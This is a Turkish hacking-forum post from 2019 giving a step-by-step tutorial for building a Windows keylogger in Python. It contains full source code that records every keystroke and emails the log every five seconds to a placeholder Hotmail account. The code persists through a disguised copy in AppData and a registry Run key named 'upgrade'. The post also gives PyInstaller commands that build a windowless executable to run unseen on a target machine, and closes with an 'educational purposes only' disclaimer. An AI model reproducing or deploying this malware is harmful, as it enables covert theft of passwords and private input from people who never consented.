İPUCU

Python Artificial Intelligence’da en çok kullanılan dildir ve gerekli dökümanların paylaşım alanlar burada paylaşılmaktadır.

Seçenekler

Python ile Keylogger

Posew7 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2018
Mesajlar:
52
Konular:
18
Teşekkür (Etti):
44
Teşekkür (Aldı):
24
Ticaret:
(0) %
24-05-2019 01:48
#1
Python ile Keylogger
Merhaba arkadaşlar, öncelikle şunu belirtmek istiyorum kodlar bana ait değildir, almış olduğumun bir eğitim 3 bölümünü birleştirmem ile böyle bir şey çıktı ortaya, konu hakkında bilgisi olanlar olacaktır elbet ama çoğu kişinin de işini göreceğini düşünüyorum. Kod içinde tekrar göstereceğim ama kodlar Windows üzerinde çalışacak şekilde yazılmıştır. Diğer işletim sistemleri üzerinde hata verecektir. O yüzden tüm aşamaları Windows'a uygun olarak anlatacağım, kodlara github profilimden de ulaşabilirsiniz, o zaman başlayalım

Kod:
https://github.com/Posew7/keylog_.git

İlk olarak Windows makinenize Python'ı kurmanız gerekiyor, alttaki linkten indirip kurabilirsiniz. Kurulumlar oldukça basit ve youtube da fazlası ile video var, oraları geçiyorum.


Kod:
https://www.python.org/download/releases/2.7/

Python'ı kurduktan sonra klavyeden gelen her girdiyi almamızı sağlayacak "pynput" kütüphanesi yükleyeceğiz. Diğer kütüphaneler Python ile kurulu gelmektedir.
Komut İstemcisini (CMD) açıyoruz ve alttaki forma uygun olacak şekilde yazıp yüklenmesini bekliyoruz.


Kod:
Yüklediğimiz_Python_Pathi -m pip install pynput
Örnek :
C:\Python27\python.exe -m pip install pynput

Şimdi kodumuzu yazmaya hazırız. Dilediğiniz ide veya editör kurabilir, kullanabilirsiniz. Burayı da geçip, kodları paylaşıyorum.


Kod:
#kodun açıklamalı hali github linkinde bulunmaktadır

import pynput.keyboard as pynput
import smtplib
import threading
import os
import shutil
import sys
import subprocess

log = """
start
"""


def callback_func(key):
    global log
    try:
        log = log + key.char.encode("utf-8")
    except:
        log = log + str(key)


def send_mail(email, password, to_email, message):
    server = smtplib.SMTP("smtp.live.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, to_email, message)
    server.quit()


def thread_func():
    global log
    send_mail("THT@hotmail.com", "sifre", "THT@hotmail.com", log)
    log = """
    """
    timer = threading.Timer(5, thread_func)
    timer.start()


file_path = os.environ["appdata"] + "\\system32"
if not os.path.exists(file_path):
    shutil.copyfile(sys.executable, file_path)
    regedit = "reg add HKCU\\Software\\Microsoft\\Windows\\Currentversion\\Run /v upgrade /t REG_SZ /d " + file_path
    subprocess.call(regedit, shell=True)

listener = pynput.Listener(on_press=callback_func)

with listener:
    thread_func()
    listener.join()


Kod:
#eğer live servisi yerine gmail servisi kullanacaksanız, google güvenlik ayarlarını kapatmanız gereklidir. 
server = smtplib.SMTP("smtp.live.com", 587) yerine
server = smtplib.SMTP("smtp.gmail.com", 587) yazmanız gerekli


#buraya mail adreslerini ve şifreleri girmeyi unutmayınız
send_mail("THT@hotmail.com", "sifre", "THT@hotmail.com", log)

Şimdi sıra py uzantılı dosyamızı exe uzantılı program haline getirmeye geldi, bu şekilde kütüphanleri programın içine gömerek, programı çalıştıracağınız sistemde Python kurulu olmasına gerek duymadan programı aktif edebileceksiniz. Bunun için bir kütüphane daha yükleyeceğiz.


Kod:
Yüklediğimiz_Python_Pathi -m pip install pyinstaller
Örnek :
C:\Python27\python.exe -m pip install pyinstaller

Kütüphanemizi yüklendikten sonra exe çevirme işlemini yapacağız.


Kod:
Pyinstaller_Path Keylogger.py.path --onefile --noconsole
Komut İstemcim ve Keylogger.py'm masaüstündedir, buna dikkat ediniz
Örnek
C:\Python27\Scripts\pyinstaller.exe keylog.py --onefile --noconsole
Programımız masaüstünde oluşan "build" klasörü içindedir.

Takıldığınız yerlerde özel mesaj atarsanız, bildiğim kadarını cevap veririm, bilmediğimi de araştırır buluruz arkadaşlar


Bu konu tamamen eğitim amaçlıdır, yasa dışı hiç bir davranıştan sorumlu değilim.
Konu Posew7 tarafından (24-05-2019 09:27 Saat 09:27 ) değiştirilmiştir.
Gorkem63, Teodoro, KARA ALP, umutkalay Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı